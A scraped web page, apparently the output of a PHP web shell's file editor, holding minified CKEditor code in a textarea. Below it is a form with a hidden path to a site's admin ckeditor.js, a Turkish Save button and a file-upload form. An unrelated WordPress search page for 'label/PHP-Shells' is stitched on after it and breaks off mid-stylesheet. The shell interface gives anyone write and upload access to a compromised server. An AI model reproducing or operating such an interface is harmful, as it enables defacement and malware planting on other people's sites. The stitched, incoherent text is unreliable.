initEditable:function(a,b){var c=this._findOneNotNested(b.selector);return c&amp;&amp;c.is(CKEDITOR.dtd.$editable)?(c=new q(this.editor,c,{filter:x.call(this.repository,this.name,a,b)}),this.editables[a]=c,c.setAttributes({contenteditable:&quot;true&quot;,&quot;data-cke-widget-editable&quot;:a,&quot;data-cke-enter-mode&quot;:c.enterMode}),c.filter&amp;&amp;c.data(&quot;cke-filter&quot;,c.filter.id),c.addClass(&quot;cke_widget_editable&quot;),c.removeClass(&quot;cke_widget_editable_focused&quot;),b.pathName&amp;&amp;c.data(&quot;cke-display-name&quot;,b.pathName),this.editor.focusManager.add(c),
c.on(&quot;focus&quot;,H,this),CKEDITOR.env.ie&amp;&amp;c.on(&quot;blur&quot;,G,this),c._.initialSetData=!0,c.setData(c.getHtml()),!0):!1},_findOneNotNested:function(a){a=this.wrapper.find(a);for(var b,c,d=0;d&lt;a.count();d++)if(b=a.getItem(d),c=b.getAscendant(g.isDomWidgetWrapper),this.wrapper.equals(c))return b;return null},isInited:function(){return!(!this.wrapper||!this.inited)},isReady:function(){return this.isInited()&amp;&amp;this.ready},focus:function(){var a=this.editor.getSelection();if(a){var b=this.editor.checkDirty();a.fake(this.wrapper);
!b&amp;&amp;this.editor.resetDirty()}this.editor.focus()},removeClass:function(a){this.element.removeClass(a);this.wrapper.removeClass(g.WRAPPER_CLASS_PREFIX+a)},removeStyle:function(a){D(this,a,0)},setData:function(a,b){var c=this.data,d=0;if(&quot;string&quot;==typeof a)c[a]!==b&amp;&amp;(c[a]=b,d=1);else{var e=a;for(a in e)c[a]!==e[a]&amp;&amp;(d=1,c[a]=e[a])}d&amp;&amp;this.dataReady&amp;&amp;(r(this),this.fire(&quot;data&quot;,c));return this},setFocused:function(a){this.wrapper[a?&quot;addClass&quot;:&quot;removeClass&quot;](&quot;cke_widget_focused&quot;);this.fire(a?&quot;focus&quot;:&quot;blur&quot;);
return this},setSelected:function(a){this.wrapper[a?&quot;addClass&quot;:&quot;removeClass&quot;](&quot;cke_widget_selected&quot;);this.fire(a?&quot;select&quot;:&quot;deselect&quot;);return this},updateDragHandlerPosition:function(){var a=this.editor,b=this.element.$,c=this._.dragHandlerOffset,b={x:b.offsetLeft,y:b.offsetTop-15};c&amp;&amp;b.x==c.x&amp;&amp;b.y==c.y||(c=a.checkDirty(),a.fire(&quot;lockSnapshot&quot;),this.dragHandlerContainer.setStyles({top:b.y+&quot;px&quot;,left:b.x+&quot;px&quot;,display:&quot;block&quot;}),a.fire(&quot;unlockSnapshot&quot;),!c&amp;&amp;a.resetDirty(),this._.dragHandlerOffset=b)}};
CKEDITOR.event.implementOn(g.prototype);g.getNestedEditable=function(a,b){return!b||b.equals(a)?null:g.isDomNestedEditable(b)?b:g.getNestedEditable(a,b.getParent())};g.isDomDragHandler=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;data-cke-widget-drag-handler&quot;)};g.isDomDragHandlerContainer=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasClass(&quot;cke_widget_drag_handler_container&quot;)};g.isDomNestedEditable=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;data-cke-widget-editable&quot;)};
g.isDomWidgetElement=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;data-widget&quot;)};g.isDomWidgetWrapper=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;data-cke-widget-wrapper&quot;)};g.isDomWidget=function(a){return a?this.isDomWidgetWrapper(a)||this.isDomWidgetElement(a):!1};g.isParserWidgetElement=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!!a.attributes[&quot;data-widget&quot;]};g.isParserWidgetWrapper=function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!!a.attributes[&quot;data-cke-widget-wrapper&quot;]};
g.WRAPPER_CLASS_PREFIX=&quot;cke_widget_wrapper_&quot;;q.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.dom.element.prototype),{setData:function(a){this._.initialSetData||this.editor.widgets.destroyAll(!1,this);this._.initialSetData=!1;a=this.editor.dataProcessor.toHtml(a,{context:this.getName(),filter:this.filter,enterMode:this.enterMode});this.setHtml(a);this.editor.widgets.initOnAll(this)},getData:function(){return this.editor.dataProcessor.toDataFormat(this.getHtml(),{context:this.getName(),
filter:this.filter,enterMode:this.enterMode})}});var X=/^(?:&lt;(?:div|span)(?: data-cke-temp=&quot;1&quot;)?(?: id=&quot;cke_copybin&quot;)?(?: data-cke-temp=&quot;1&quot;)?&gt;)?(?:&lt;(?:div|span)(?: style=&quot;[^&quot;]+&quot;)?&gt;)?&lt;span [^&gt;]*data-cke-copybin-start=&quot;1&quot;[^&gt;]*&gt;.?&lt;\/span&gt;([\s\S]+)&lt;span [^&gt;]*data-cke-copybin-end=&quot;1&quot;[^&gt;]*&gt;.?&lt;\/span&gt;(?:&lt;\/(?:div|span)&gt;)?(?:&lt;\/(?:div|span)&gt;)?$/i,ga={37:1,38:1,39:1,40:1,8:1,46:1};CKEDITOR.plugins.widget=g;g.repository=p;g.nestedEditable=q})();(function(){function e(a,b,c){this.editor=a;this.notification=null;this._message=new CKEDITOR.template(b);this._singularMessage=c?new CKEDITOR.template(c):null;this._tasks=[];this._doneTasks=this._doneWeights=this._totalWeights=0}function d(a){this._weight=a||1;this._doneWeight=0;this._isCanceled=!1}CKEDITOR.plugins.add(&quot;notificationaggregator&quot;,{requires:&quot;notification&quot;});e.prototype={createTask:function(a){a=a||{};var b=!this.notification,c;b&amp;&amp;(this.notification=this._createNotification());c=this._addTask(a);
c.on(&quot;updated&quot;,this._onTaskUpdate,this);c.on(&quot;done&quot;,this._onTaskDone,this);c.on(&quot;canceled&quot;,function(){this._removeTask(c)},this);this.update();b&amp;&amp;this.notification.show();return c},update:function(){this._updateNotification();this.isFinished()&amp;&amp;this.fire(&quot;finished&quot;)},getPercentage:function(){return 0===this.getTaskCount()?1:this._doneWeights/this._totalWeights},isFinished:function(){return this.getDoneTaskCount()===this.getTaskCount()},getTaskCount:function(){return this._tasks.length},getDoneTaskCount:function(){return this._doneTasks},
_updateNotification:function(){this.notification.update({message:this._getNotificationMessage(),progress:this.getPercentage()})},_getNotificationMessage:function(){var a=this.getTaskCount(),b={current:this.getDoneTaskCount(),max:a,percentage:Math.round(100*this.getPercentage())};return(1==a&amp;&amp;this._singularMessage?this._singularMessage:this._message).output(b)},_createNotification:function(){return new CKEDITOR.plugins.notification(this.editor,{type:&quot;progress&quot;})},_addTask:function(a){a=new d(a.weight);
this._tasks.push(a);this._totalWeights+=a._weight;return a},_removeTask:function(a){var b=CKEDITOR.tools.indexOf(this._tasks,a);-1!==b&amp;&amp;(a._doneWeight&amp;&amp;(this._doneWeights-=a._doneWeight),this._totalWeights-=a._weight,this._tasks.splice(b,1),this.update())},_onTaskUpdate:function(a){this._doneWeights+=a.data;this.update()},_onTaskDone:function(){this._doneTasks+=1;this.update()}};CKEDITOR.event.implementOn(e.prototype);d.prototype={done:function(){this.update(this._weight)},update:function(a){if(!this.isDone()&amp;&amp;
!this.isCanceled()){a=Math.min(this._weight,a);var b=a-this._doneWeight;this._doneWeight=a;this.fire(&quot;updated&quot;,b);this.isDone()&amp;&amp;this.fire(&quot;done&quot;)}},cancel:function(){this.isDone()||this.isCanceled()||(this._isCanceled=!0,this.fire(&quot;canceled&quot;))},isDone:function(){return this._weight===this._doneWeight},isCanceled:function(){return this._isCanceled}};CKEDITOR.event.implementOn(d.prototype);CKEDITOR.plugins.notificationAggregator=e;CKEDITOR.plugins.notificationAggregator.task=d})();(function(){CKEDITOR.plugins.add(&quot;uploadwidget&quot;,{requires:&quot;widget,clipboard,filetools,notificationaggregator&quot;,init:function(a){a.filter.allow(&quot;*[!data-widget,!data-cke-upload-id]&quot;)}});CKEDITOR.fileTools||(CKEDITOR.fileTools={});CKEDITOR.tools.extend(CKEDITOR.fileTools,{addUploadWidget:function(a,c,f){var h=CKEDITOR.fileTools,b=a.uploadRepository,m=f.supportedTypes?10:20;if(f.fileToElement)a.on(&quot;paste&quot;,function(d){d=d.data;var l=a.widgets.registered[c],k=d.dataTransfer,f=k.getFilesCount(),g=l.loadMethod||
&quot;loadAndUpload&quot;,e,n;if(!d.dataValue&amp;&amp;f)for(n=0;n&lt;f;n++)if(e=k.getFile(n),!l.supportedTypes||h.isTypeSupported(e,l.supportedTypes)){var m=l.fileToElement(e);e=b.create(e,void 0,l.loaderType);m&amp;&amp;(e[g](l.uploadUrl,l.additionalRequestParameters),CKEDITOR.fileTools.markElement(m,c,e.id),&quot;loadAndUpload&quot;!=g&amp;&amp;&quot;upload&quot;!=g||l.skipNotifications||CKEDITOR.fileTools.bindNotifications(a,e),d.dataValue+=m.getOuterHtml())}},null,null,m);CKEDITOR.tools.extend(f,{downcast:function(){return new CKEDITOR.htmlParser.text(&quot;&quot;)},
init:function(){var d=this,c=this.wrapper.findOne(&quot;[data-cke-upload-id]&quot;).data(&quot;cke-upload-id&quot;),k=b.loaders[c],f=CKEDITOR.tools.capitalize,g,e;k.on(&quot;update&quot;,function(b){if(&quot;abort&quot;===k.status&amp;&amp;&quot;function&quot;===typeof d.onAbort)d.onAbort(k);if(d.wrapper&amp;&amp;d.wrapper.getParent()){a.fire(&quot;lockSnapshot&quot;);b=&quot;on&quot;+f(k.status);if(&quot;abort&quot;===k.status||&quot;function&quot;!==typeof d[b]||!1!==d[b](k))e=&quot;cke_upload_&quot;+k.status,d.wrapper&amp;&amp;e!=g&amp;&amp;(g&amp;&amp;d.wrapper.removeClass(g),d.wrapper.addClass(e),g=e),&quot;error&quot;!=k.status&amp;&amp;&quot;abort&quot;!=
k.status||a.widgets.del(d);a.fire(&quot;unlockSnapshot&quot;)}else CKEDITOR.instances[a.name]&amp;&amp;a.editable().find(&#039;[data-cke-upload-id\x3d&quot;&#039;+c+&#039;&quot;]&#039;).count()||k.abort(),b.removeListener()});k.update()},replaceWith:function(d,c){if(&quot;&quot;===d.trim())a.widgets.del(this);else{var b=this==a.widgets.focused,f=a.editable(),g=a.createRange(),e,h;b||(h=a.getSelection().createBookmarks());g.setStartBefore(this.wrapper);g.setEndAfter(this.wrapper);b&amp;&amp;(e=g.createBookmark());f.insertHtmlIntoRange(d,g,c);a.widgets.checkWidgets({initOnlyNew:!0});
a.widgets.destroy(this,!0);b?(g.moveToBookmark(e),g.select()):a.getSelection().selectBookmarks(h)}},_getLoader:function(){var a=this.wrapper.findOne(&quot;[data-cke-upload-id]&quot;);return a?this.editor.uploadRepository.loaders[a.data(&quot;cke-upload-id&quot;)]:null}});a.widgets.add(c,f)},markElement:function(a,c,f){a.setAttributes({&quot;data-cke-upload-id&quot;:f,&quot;data-widget&quot;:c})},bindNotifications:function(a,c){function f(){h=a._.uploadWidgetNotificaionAggregator;if(!h||h.isFinished())h=a._.uploadWidgetNotificaionAggregator=
new CKEDITOR.plugins.notificationAggregator(a,a.lang.uploadwidget.uploadMany,a.lang.uploadwidget.uploadOne),h.once(&quot;finished&quot;,function(){var b=h.getTaskCount();0===b?h.notification.hide():h.notification.update({message:1==b?a.lang.uploadwidget.doneOne:a.lang.uploadwidget.doneMany.replace(&quot;%1&quot;,b),type:&quot;success&quot;,important:1})})}var h,b=null;c.on(&quot;update&quot;,function(){!b&amp;&amp;c.uploadTotal&amp;&amp;(f(),b=h.createTask({weight:c.uploadTotal}));b&amp;&amp;&quot;uploading&quot;==c.status&amp;&amp;b.update(c.uploaded)});c.on(&quot;uploaded&quot;,function(){b&amp;&amp;
b.done()});c.on(&quot;error&quot;,function(){b&amp;&amp;b.cancel();a.showNotification(c.message,&quot;warning&quot;)});c.on(&quot;abort&quot;,function(){b&amp;&amp;b.cancel();CKEDITOR.instances[a.name]&amp;&amp;a.showNotification(a.lang.uploadwidget.abort,&quot;info&quot;)})}})})();(function(){function l(c){9&gt;=c&amp;&amp;(c=&quot;0&quot;+c);return String(c)}function n(c){var a=new Date,a=[a.getFullYear(),a.getMonth()+1,a.getDate(),a.getHours(),a.getMinutes(),a.getSeconds()];e+=1;return&quot;image-&quot;+CKEDITOR.tools.array.map(a,l).join(&quot;&quot;)+&quot;-&quot;+e+&quot;.&quot;+c}var e=0;CKEDITOR.plugins.add(&quot;uploadimage&quot;,{requires:&quot;uploadwidget&quot;,onLoad:function(){CKEDITOR.addCss(&quot;.cke_upload_uploading img{opacity: 0.3}&quot;)},init:function(c){if(CKEDITOR.plugins.clipboard.isFileApiSupported){var a=CKEDITOR.fileTools,e=a.getUploadUrl(c.config,
&quot;image&quot;);e&amp;&amp;(a.addUploadWidget(c,&quot;uploadimage&quot;,{supportedTypes:/image\/(jpeg|png|gif|bmp)/,uploadUrl:e,fileToElement:function(){var b=new CKEDITOR.dom.element(&quot;img&quot;);b.setAttribute(&quot;src&quot;,&quot;data:image/gif;base64,R0lGODlhDgAOAIAAAAAAAP///yH5BAAAAAAALAAAAAAOAA4AAAIMhI+py+0Po5y02qsKADs\x3d&quot;);return b},parts:{img:&quot;img&quot;},onUploading:function(b){this.parts.img.setAttribute(&quot;src&quot;,b.data)},onUploaded:function(b){var a=this.parts.img.$;this.replaceWith(&#039;\x3cimg src\x3d&quot;&#039;+b.url+&#039;&quot; width\x3d&quot;&#039;+(b.responseData.width||
a.naturalWidth)+&#039;&quot; height\x3d&quot;&#039;+(b.responseData.height||a.naturalHeight)+&#039;&quot;\x3e&#039;)}}),c.on(&quot;paste&quot;,function(b){if(b.data.dataValue.match(/&lt;img[\s\S]+data:/i)){b=b.data;var f=document.implementation.createHTMLDocument(&quot;&quot;),f=new CKEDITOR.dom.element(f.body),m,g,k;f.data(&quot;cke-editable&quot;,1);f.appendHtml(b.dataValue);m=f.find(&quot;img&quot;);for(k=0;k&lt;m.count();k++){g=m.getItem(k);var d=g.getAttribute(&quot;src&quot;),h=d&amp;&amp;&quot;data:&quot;==d.substring(0,5),l=null===g.data(&quot;cke-realelement&quot;);h&amp;&amp;l&amp;&amp;!g.data(&quot;cke-upload-id&quot;)&amp;&amp;!g.isReadOnly(1)&amp;&amp;
(h=(h=d.match(/image\/([a-z]+?);/i))&amp;&amp;h[1]||&quot;jpg&quot;,d=c.uploadRepository.create(d,n(h)),d.upload(e),a.markElement(g,&quot;uploadimage&quot;,d.id),a.bindNotifications(c,d))}b.dataValue=f.getHtml()}}))}}})})();CKEDITOR.plugins.add(&quot;wsc&quot;,{requires:&quot;dialog&quot;,parseApi:function(a){a.config.wsc_onFinish=&quot;function&quot;===typeof a.config.wsc_onFinish?a.config.wsc_onFinish:function(){};a.config.wsc_onClose=&quot;function&quot;===typeof a.config.wsc_onClose?a.config.wsc_onClose:function(){}},parseConfig:function(a){a.config.wsc_customerId=a.config.wsc_customerId||CKEDITOR.config.wsc_customerId||&quot;1:ua3xw1-2XyGJ3-GWruD3-6OFNT1-oXcuB1-nR6Bp4-hgQHc-EcYng3-sdRXG3-NOfFk&quot;;a.config.wsc_customDictionaryIds=a.config.wsc_customDictionaryIds||
CKEDITOR.config.wsc_customDictionaryIds||&quot;&quot;;a.config.wsc_userDictionaryName=a.config.wsc_userDictionaryName||CKEDITOR.config.wsc_userDictionaryName||&quot;&quot;;a.config.wsc_customLoaderScript=a.config.wsc_customLoaderScript||CKEDITOR.config.wsc_customLoaderScript;a.config.wsc_interfaceLang=a.config.wsc_interfaceLang;CKEDITOR.config.wsc_cmd=a.config.wsc_cmd||CKEDITOR.config.wsc_cmd||&quot;spell&quot;;CKEDITOR.config.wsc_version=&quot;v4.3.0-master-d769233&quot;;CKEDITOR.config.wsc_removeGlobalVariable=!0},onLoad:function(a){&quot;moono-lisa&quot;==
(CKEDITOR.skinName||a.config.skin)&amp;&amp;CKEDITOR.document.appendStyleSheet(this.path+&quot;skins/&quot;+CKEDITOR.skin.name+&quot;/wsc.css&quot;)},init:function(a){var b=CKEDITOR.env;this.parseConfig(a);this.parseApi(a);a.addCommand(&quot;checkspell&quot;,new CKEDITOR.dialogCommand(&quot;checkspell&quot;)).modes={wysiwyg:!CKEDITOR.env.opera&amp;&amp;!CKEDITOR.env.air&amp;&amp;document.domain==window.location.hostname&amp;&amp;!(b.ie&amp;&amp;(8&gt;b.version||b.quirks))};&quot;undefined&quot;==typeof a.plugins.scayt&amp;&amp;a.ui.addButton&amp;&amp;a.ui.addButton(&quot;SpellChecker&quot;,{label:a.lang.wsc.toolbar,
click:function(a){var b=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.container.getText():a.document.getBody().getText();(b=b.replace(/\s/g,&quot;&quot;))?a.execCommand(&quot;checkspell&quot;):alert(&quot;Nothing to check!&quot;)},toolbar:&quot;spellchecker,10&quot;});CKEDITOR.dialog.add(&quot;checkspell&quot;,this.path+(CKEDITOR.env.ie&amp;&amp;7&gt;=CKEDITOR.env.version?&quot;dialogs/wsc_ie.js&quot;:window.postMessage?&quot;dialogs/wsc.js&quot;:&quot;dialogs/wsc_ie.js&quot;))}});CKEDITOR.config.plugins=&#039;dialogui,dialog,about,a11yhelp,basicstyles,blockquote,notification,button,toolbar,clipboard,panel,floatpanel,menu,contextmenu,resize,elementspath,enterkey,entities,popup,filetools,filebrowser,floatingspace,listblock,richcombo,format,horizontalrule,htmlwriter,wysiwygarea,image,indent,indentlist,fakeobjects,link,list,magicline,maximize,pastetext,pastefromword,removeformat,showborders,sourcearea,specialchar,menubutton,scayt,stylescombo,tab,table,tabletools,tableselection,undo,lineutils,widgetselection,widget,notificationaggregator,uploadwidget,uploadimage,wsc&#039;;CKEDITOR.config.skin=&#039;moono-lisa&#039;;(function() {var setIcons = function(icons, strip) {var path = CKEDITOR.getUrl( &#039;plugins/&#039; + strip );icons = icons.split( &#039;,&#039; );for ( var i = 0; i &lt; icons.length; i++ )CKEDITOR.skin.icons[ icons[ i ] ] = { path: path, offset: -icons[ ++i ], bgsize : icons[ ++i ] };};if (CKEDITOR.env.hidpi) setIcons(&#039;about,0,,bold,24,,italic,48,,strike,72,,subscript,96,,superscript,120,,underline,144,,blockquote,168,,copy-rtl,192,,copy,216,,cut-rtl,240,,cut,264,,paste-rtl,288,,paste,312,,horizontalrule,336,,image,360,,indent-rtl,384,,indent,408,,outdent-rtl,432,,outdent,456,,anchor-rtl,480,,anchor,504,,link,528,,unlink,552,,bulletedlist-rtl,576,,bulletedlist,600,,numberedlist-rtl,624,,numberedlist,648,,maximize,672,,pastetext-rtl,696,,pastetext,720,,pastefromword-rtl,744,,pastefromword,768,,removeformat,792,,source-rtl,816,,source,840,,specialchar,864,,scayt,888,,table,912,,redo-rtl,936,,redo,960,,undo-rtl,984,,undo,1008,,spellchecker,1032,&#039;,&#039;icons_hidpi.png&#039;);else setIcons(&#039;about,0,auto,bold,24,auto,italic,48,auto,strike,72,auto,subscript,96,auto,superscript,120,auto,underline,144,auto,blockquote,168,auto,copy-rtl,192,auto,copy,216,auto,cut-rtl,240,auto,cut,264,auto,paste-rtl,288,auto,paste,312,auto,horizontalrule,336,auto,image,360,auto,indent-rtl,384,auto,indent,408,auto,outdent-rtl,432,auto,outdent,456,auto,anchor-rtl,480,auto,anchor,504,auto,link,528,auto,unlink,552,auto,bulletedlist-rtl,576,auto,bulletedlist,600,auto,numberedlist-rtl,624,auto,numberedlist,648,auto,maximize,672,auto,pastetext-rtl,696,auto,pastetext,720,auto,pastefromword-rtl,744,auto,pastefromword,768,auto,removeformat,792,auto,source-rtl,816,auto,source,840,auto,specialchar,864,auto,scayt,888,auto,table,912,auto,redo-rtl,936,auto,redo,960,auto,undo-rtl,984,auto,undo,1008,auto,spellchecker,1032,auto&#039;,&#039;icons.png&#039;);})();CKEDITOR.lang.languages={&quot;af&quot;:1,&quot;sq&quot;:1,&quot;ar&quot;:1,&quot;az&quot;:1,&quot;eu&quot;:1,&quot;bn&quot;:1,&quot;bs&quot;:1,&quot;bg&quot;:1,&quot;ca&quot;:1,&quot;zh-cn&quot;:1,&quot;zh&quot;:1,&quot;hr&quot;:1,&quot;cs&quot;:1,&quot;da&quot;:1,&quot;nl&quot;:1,&quot;en&quot;:1,&quot;en-au&quot;:1,&quot;en-ca&quot;:1,&quot;en-gb&quot;:1,&quot;eo&quot;:1,&quot;et&quot;:1,&quot;fo&quot;:1,&quot;fi&quot;:1,&quot;fr&quot;:1,&quot;fr-ca&quot;:1,&quot;gl&quot;:1,&quot;ka&quot;:1,&quot;de&quot;:1,&quot;de-ch&quot;:1,&quot;el&quot;:1,&quot;gu&quot;:1,&quot;he&quot;:1,&quot;hi&quot;:1,&quot;hu&quot;:1,&quot;is&quot;:1,&quot;id&quot;:1,&quot;it&quot;:1,&quot;ja&quot;:1,&quot;km&quot;:1,&quot;ko&quot;:1,&quot;ku&quot;:1,&quot;lv&quot;:1,&quot;lt&quot;:1,&quot;mk&quot;:1,&quot;ms&quot;:1,&quot;mn&quot;:1,&quot;no&quot;:1,&quot;nb&quot;:1,&quot;oc&quot;:1,&quot;fa&quot;:1,&quot;pl&quot;:1,&quot;pt-br&quot;:1,&quot;pt&quot;:1,&quot;ro&quot;:1,&quot;ru&quot;:1,&quot;sr&quot;:1,&quot;sr-latn&quot;:1,&quot;si&quot;:1,&quot;sk&quot;:1,&quot;sl&quot;:1,&quot;es&quot;:1,&quot;es-mx&quot;:1,&quot;sv&quot;:1,&quot;tt&quot;:1,&quot;th&quot;:1,&quot;tr&quot;:1,&quot;ug&quot;:1,&quot;uk&quot;:1,&quot;vi&quot;:1,&quot;cy&quot;:1};}());</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/alliancechretienne.bak/rac-admin/assets/js/ckeditor/ckeditor.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d4ad526fcb*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote 